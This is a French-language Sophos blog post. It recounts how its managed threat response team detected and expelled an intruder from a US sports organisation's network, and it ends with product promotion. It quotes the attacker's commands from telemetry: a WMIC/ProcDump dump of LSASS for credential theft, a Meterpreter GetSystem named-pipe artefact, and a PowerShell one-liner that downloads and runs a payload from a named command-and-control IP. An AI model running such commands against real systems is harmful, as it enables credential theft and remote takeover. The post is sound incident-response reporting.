Sophos MTR : un adversaire actif pris en flagrant délit

Profil du client ciblé : une organisation sportive professionnelle basée aux États-Unis, avec environ 800 appareils.

L’équipe Sophos MTR (Managed Threat Response) offre des capacités de traque, de détection et de réponse aux menaces, 24h/24 et 7j/7, grâce à un service entièrement managé par une équipe d’experts.

L’indice de départ : une aiguille dans une meule de foin

Lors de leurs activités de traque à la recherche d’événements suspects, l’équipe Sophos MTR analyse chaque jour des dizaines de millions de points de données en exploitant les renseignements sur les menaces (threat intelligence), l’apprentissage automatique ainsi que des ensembles de règles complexes provenant de l’expérience de première ligne que les opérateurs ont acquise en répondant quotidiennes aux menaces.

Cette analyse est effectuée dans le but de trouver des signaux qui pourraient potentiellement être un indicateur d’attaque. Pour en savoir plus sur notre Méthodologie TDR (Threat Detection and Response), vous pouvez consulter l’article dédié sur notre blog.

Dans ce cas, le signal provenait d’un outil Sysinternals légitime de Microsoft : ProcDump.exe. Cet outil est généralement utilisé par les développeurs pour analyser les processus logiciels en cours d’exécution en écrivant leur mémoire (ou en “récupérant” leur contenu) sur le disque afin d’être inspectée. Les développeurs trouvent cet outil très pratique pour comprendre pourquoi un bug s’est produit.

Cependant, dans notre cas, ProcDump tentait d’exporter l’espace mémoire de lsass.exe. Une telle opération a donc alerté l’équipe opérations de Sophos MTR qui surveillait l’environnement client 24h/24 et 7j/7.

LSASS est l’acronyme de Local Security Authority Subsystem Service, un service dans Microsoft Windows qui est responsable de l’application de la politique de sécurité et de la gestion des connexions aux systèmes Windows. En écrivant le contenu de sa mémoire sur le disque, les identifiants ainsi que les mots de passe des utilisateurs pouvaient alors être récupérés.

L’équipe Sophos MTR a alors repéré un indicateur d’attaque. En effet, un individu essayait effectivement de voler des identifiants.

Vous avez peut-être déjà entendu parler de Mimikatz, un outil dont le seul but est de voler des mots de passe, des hachages, des jetons de sécurité, etc. Les adversaires évitent parfois d’utiliser cet outil étant donné sa facilité de détection par les produits de sécurité. Mais contrairement à Mimikatz, ProcDump est souvent utilisé de manière légitime et inoffensive au-delà de certaines utilisations malveillantes, et est donc rarement détecté par les solutions de sécurité.

A priori, un individu essayait, dans notre cas, de ne pas se faire prendre.

L’investigation commence

Un cas a donc été créé immédiatement après la réception du signal, et un opérateur Sophos MTR a commencé l’investigation dans la foulée.

Tentative de vol d’identifiants

L’opérateur a examiné les données historiques recueillies par notre agent et a trouvé le processus qui avait provoqué la détection. Le processus essayait d’appeler la commande suivante :

C:\Windows\system32\cmd.exe/C wmic /node:"SERVER NAME" process call create
"C:\PerfLogs\procdump.exe -accepteula -ma lsass C:\PerfLogs\lsass.dmp"

Cette commande nous indique que l’interpréteur de ligne de commande Windows, cmd.exe, tente d’utiliser WMIC : à savoir l’interface pour Windows Management Instrumentation. WMI est un outil d’interaction avec les systèmes locaux et distants afin d’obtenir des informations et de leur envoyer des instructions.

En appelant un serveur distant (renommé SERVER NAME), la commande essayait de dire au serveur d’exécuter ProcDump et d’écrire le contenu de la mémoire du processus LSASS sur le disque.

Heureusement, l’opérateur MTR n’a trouvé aucune preuve confirmant que “lsass.dmp” avait été inscrit sur le disque, et un examen de la télémétrie Sophos Central a montré que la technologie Sophos en matière de prévention contre le vol d’identifiants était parvenue à déjouer la tentative de l’adversaire.

Mais d’où venait cette commande ?

Tentative d’élévation de privilèges

L’opérateur est remonté en arrière dans l’arborescence des processus pour trouver le parent de cmd.exe (c’est-à-dire le point de départ) et a donc trouvé svchost.exe : à savoir le processus Windows Service Host utilisé pour exécuter des processus uniques et préserver les ressources informatiques.

La même instance de svchost a également engendré un autre processus enfant :

C:\Windows\system32\cmd.exe /c echo 4d6b1c047b2 > \\.\pipe\8eaee7

Pour un œil non expert, la commande ci-dessus ne semble pas à priori malveillante. Pourtant, c’est un artefact commun qui peut être observé à partir de la fonction GetSystem de Meterpreter.

Meterpreter est une charge virale qui donne à un adversaire un accès interactif en ligne de commande à un hôte alors que GetSystem est un script intégré à Meterpreter qui aide un adversaire à obtenir des privilèges système complets en usurpant l’identité d’un ‘tube nommé’ (named pipe), une technologie permettant aux processus de communiquer entre eux.

Heureusement, le ‘tube nommé’ que l’adversaire essayait d’exploiter n’existait pas sur le système à ce moment-là.

Command and control

L’utilisation de Meterpreter par l’adversaire nous indiquait qu’il devait avoir une sorte de connexion réseau pour envoyer à distance ses commandes à l’hôte compromis.

En analysant minutieusement les logs réseau, l’opérateur MTR a pu découvrir un grand nombre de connexions sortantes vers l’adresse IP bulgare 217.12.202.89 en utilisant le port réseau 443.

Le port 443 est généralement utilisé par le protocole HTTPS pour se connecter en toute sécurité à des sites Web, et les adversaires utilisent généralement ce port pour se cacher au sein du trafic Web légitime.

Cette découverte a déclenché l’analyse de cette adresse IP basée en Bulgarie. L’un des ports utilisé par cette dernière pour sa connexion à Internet était le port 50050. Ce port est un port éphémère : à savoir un port qui ne peut pas être enregistré auprès de l’IANA et n’est donc pas un port commun utilisé par des services réseau bien connus. Cependant, l’opérateur MTR avait déjà vu ce port plusieurs fois auparavant.

Le port 50050 est le port d’écoute utilisé par défaut par un serveur Cobalt Strike. Cobalt Strike est un outil “d’émulation de menaces” généralement proposé aux pentesteurs pour faciliter les attaques adverses et aider les entreprises à découvrir leurs vulnérabilités vis à vis de potentielles violations.

Cependant, des acteurs malveillants ont mis la main sur cet outil et l’utilisent pour orchestrer de véritables attaques contre des victimes innocentes.

Notifier le client

L’opérateur MTR est parvenu à terminer l’investigation initiale, quelques minutes seulement après la première détection, convaincu qu’il s’agissait d’une activité adverse malveillante.

Sophos MTR propose aux clients trois modes de réponse qui peuvent être sélectionnés à tout moment :

Notifier : Sophos identifie et investigue les menaces, informe le client des résultats et lui fait des recommandations pour qu’il puisse, lui-même, répondre à la menace en question.

Collaborer : Sophos identifie, investigue les menaces, et participe à la réponse en répartissant la responsabilité entre le client et l’équipe Sophos MTR.

Autoriser : Sophos identifie, investigue et répond aux menaces tout en prenant des mesures proactives, informant le client des détections effectuées et des actions en matière de réponse qui ont été prises.

Dans notre cas, le client MTR était en mode Notifier. L’opérateur a donc contacté le client par téléphone pour discuter des éléments trouvés et lui faire des recommandations sur la manière de réagir face à ces récentes découvertes avant la poursuite de l’investigation.

L’opérateur MTR a partagé les éléments découverts et les comptes utilisateur exploités par l’adversaire. Les mots de passe de ces comptes devaient être immédiatement réinitialisés afin de désactiver l’accès de l’adversaire. En plus de l’appel téléphonique, tous les détails ont été envoyés par email pour qu’ils puissent être référencés pendant que le client passait à l’action.

Poursuivre la traque

Alors que le client travaillait à la réinitialisation des mots de passe des comptes compromis, l’opérateur MTR, de son côté, continuait à suivre le parcours de l’adversaire au sein du réseau du client. À ce stade, aucune preuve n’avait été trouvée sur la manière avec laquelle il était parvenu à pénétrer dans le système.

Notez que tout au long de l’investigation relative à notre cas, une communication régulière entre l’opérateur MTR et le client a eu lieu par email.

Caché dans le Cloud

Une analyse plus approfondie du trafic réseau au niveau de l’hôte compromis a montré un trafic HTTPS entre l’hôte et un autre élément qui résidait dans le Cloud Privé Virtuel (VPC) du client, au niveau duquel un certain nombre de serveurs étaient exposés à l’Internet public.

En se plongeant dans les logs du serveur dans le VPC, l’opérateur MTR a rapidement repéré d’autres tentatives GetSystem et des usurpations d’identité du ‘tube nommé’ (named pipe). Cependant, toutes les preuves pointaient vers les hôtes compromis déjà identifiés.

De plus, une exécution de commande PowerShell (un langage de script intégré à Windows pour une utilisation avec l’automatisation des tâches) a été identifiée :

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"-nop -w hidden -c "IEX
((new-object net.webclient).downloadstring('http://217.12.202.89:80/axdfcvgfdfgyhnhgvcdfvghjh'))"

Cette commande, d’une seule ligne, mène à une URL, télécharge et exécute une charge virale qui se trouve au niveau de celle-ci. L’URL pointe vers la même adresse IP bulgare au niveau de laquelle l’équipe MTR avait trouvé les ports ouverts pour Cobalt Strike.

SophosLabs

L’opérateur MTR a rapidement contacté les SophosLabs, la division analyse, renseignement et recherche dédiée aux menaces de Sophos. En partageant la commande ci-dessus, l’opérateur MTR a demandé de l’aide afin d’analyser la charge virale hébergée au niveau de cette URL. En quelques minutes, les SophosLabs ont fait part de leurs idées à l’équipe Sophos MTR.

Malheureusement, la charge virale en question n’était plus présente : apparemment désactivée par l’adversaire peu de temps après l’avoir utilisée. Les SophosLabs ont rapidement ajouté l’adresse IP et l’URL à la plateforme Cloud Intelligence sur laquelle s’appuient tous les produits et services Sophos afin que toute utilisation ultérieure de ce serveur Command & Control soit détectée et bloquée chez tous les clients Sophos.

Recherche de l’accès initial

Enfin, l’opérateur MTR a identifié le point de départ de l’attaque. En poursuivant l’analyse des logs réseau au niveau du serveur VPC, une communication RDP (Remote Desktop Protocol) avec un hôte inconnu a été repérée dans le VPC. Cet hôte inconnu n’était pas géré par Sophos MTR et n’a pas donc pu être trouvé dans le compte Sophos Central du client.

L’opérateur a contacté le client pour lui demander quel était exactement cet hôte inconnu et pourquoi il n’était pas géré par Sophos.

Il semble que le client l’ait désactivé trop tard. L’adversaire s’était déjà déplacé latéralement de l’hôte compromis au départ vers un autre et avait exécuté la commande PowerShell. Cette manœuvre lui a donné un accès distant à un nouvel hôte dans le cas où il perdrait son accès via le RDP.

Cette stratégie s’est avérée être une décision intelligente, prise par l’adversaire en question, car c’est exactement ce qu’il s’est produit.

Les serveurs RDP sont trop souvent exposés à l’Internet public, ce qui en fait une cible de choix pour les adversaires qui cherchent à pénétrer dans les réseaux. Une fois à l’intérieur, le RDP est une méthode voyante et peu discrète d’accéder à distance. Déplacer les curseurs sur l’écran est en quelque sorte un formidable cadeau.

La première chose qu’un adversaire cherchera à faire est de se déplacer latéralement, vers un autre hôte, et d’installer un reverse shell : un moyen de rétablir la connexion avec cet hôte et de lui donner un accès en ligne de commande. L’utilisation de la ligne de commande est une méthode d’accès à distance beaucoup plus furtive, qui lui permet de se cacher en arrière-plan même lorsqu’un utilisateur est connecté et utilise l’hôte.

Quant à savoir quels étaient les objectifs de l’adversaire, ils sont à l’heure actuelle inconnus. Les opérateurs MTR ont identifié l’attaquant bien avant de pouvoir agir sur leurs objectifs, les stoppant alors qu’ils étaient encore dans une phase de déploiement au sein du réseau, se déplaçant latéralement et essayant d’élever leurs privilèges.

Suite à cette investigation, les opérateurs MTR ont continué de surveiller l’environnement du client à la recherche de cette menace spécifique pendant sept jours supplémentaires, n’identifiant plus aucune activité malveillante ou suspecte.

L’équipe MTR a ensuite conclu que l’adversaire avait été éjecté avec succès du réseau.

Affaire classée. Passons au cas suivant.

Pour en savoir plus

Pour obtenir plus d’informations sur le service Sophos MTR, visitez notre site Web ou contactez un représentant Sophos.

Si vous préférez mener vos propres traques des menaces, Sophos EDR vous offre les outils dont vous avez besoin pour une traque avancée et une bonne hygiène des opérations de cybersécurité. Démarrez dès aujourd’hui un essai sans engagement de 30 jours.

IOA/ IOC

Billet inspiré de MTR Casebook: An active adversary caught in the act, sur le Blog Sophos.